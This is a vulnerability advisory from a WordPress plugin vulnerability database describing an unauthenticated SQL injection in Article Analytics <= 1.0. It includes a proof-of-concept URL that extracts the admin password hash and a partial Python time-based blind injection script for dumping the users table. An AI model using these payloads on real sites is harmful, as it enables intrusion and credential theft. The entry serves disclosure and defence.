WordPress Plugin Vulnerabilities
Article Analytics <= 1.0 - Unauthenticated SQL injection
Description
The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection vulnerability.
Proof of Concept
On a Wordpress blog using MySQL the following PoC allows to extract the hash of the administrator : http://localhost:8000/?p=1%20AND%20GTID_SUBSET%28CONCAT%280x686173683a%2C%28SELECT%20user_pass%20FROM%20%60wordpress%60.wp_users%20ORDER%20BY%20ID%20LIMIT%201%2C1%29%29%2C4001%29 import sys from urllib.parse import quote, urlparse, urlunparse from time import time import requests from requests.exceptions import RequestException # Nicolas "devloop" Surribas - 2023 # Exploit for Wordpress plugin "Article Analytics" # Time-based blind SQL injection exploit # Tweak the following parameters # Time to wait in the DBMS when checking for a value. Increase if the target is lagging. Must be an int. TIME = 1 # Numbers of users to dump from the users database. For admin account, 1 should be enough. COUNT_USERS = 2 # Users table. Change if custom. USERS_TABLE = "wp_users" class ColumnDumper: def __init__(self, table_name, column_name, order_by): self._table = table_name self._column = column_name self._order_by = order_by def get_at_offset(self, offset): return f"SELECT IFNULL(CAST({self._column} AS NCHAR),0x20) FROM {self._table} ORDER BY {self._order_by} LIMIT {offset},1" def get_char_at(self, expression, offset): return f"ORD(MID(({expression}), {offset}, 1))" def test(self, expression, success, failure): return f"IF({expression}, {success}, {failure})" def sleep(self, expression): return f"(SELECT SLEEP({expression}))" def test_value(self, column_offset, char_offset, operator, value): return self.sleep( self.test( self.get_char_at(self.get_at_offset(column_offset), char_offset) + f" {operator} {value}", TIME, 0 ) ) class Exploit: def __init__(self, url): self._sess = requests.session() parts = urlparse(url) # Get rid of parameters to have a clean version with empty "p" parameter self._url = urlunparse((parts.scheme, parts.netloc, parts.path, "", "p=", "")) def run(self, column_name): """Dump columns using cheap dichotomy""" self._cd = ColumnDumper(USERS_TABLE, column_name, "ID") for column_idx in range(COUNT_USERS): content = "" done = False for char_offset in range(1, 128): candidates = self.get_test_range(column_idx, char_offset) for c in candidates: if self.test_char(column_idx, char_offset, c): if c == 0: done = True break content += chr(c) print(f"In progress: {content}") break else: break if done: break print(f"Found {content}") def perform_test(self, expression): """Fetch the URL, check the time for response""" start = time() # Uncomment that line to see the requests # print(self._url + expression) url = self._url + quote(expression) self._sess.get(url + quote(expression))
Affects Plugins
References
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Nicolas Surribas
Submitter
Nicolas Surribas
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-10-27 (about 6 months ago)
Added
2023-10-27 (about 6 months ago)
Last Updated
2023-10-31 (about 6 months ago)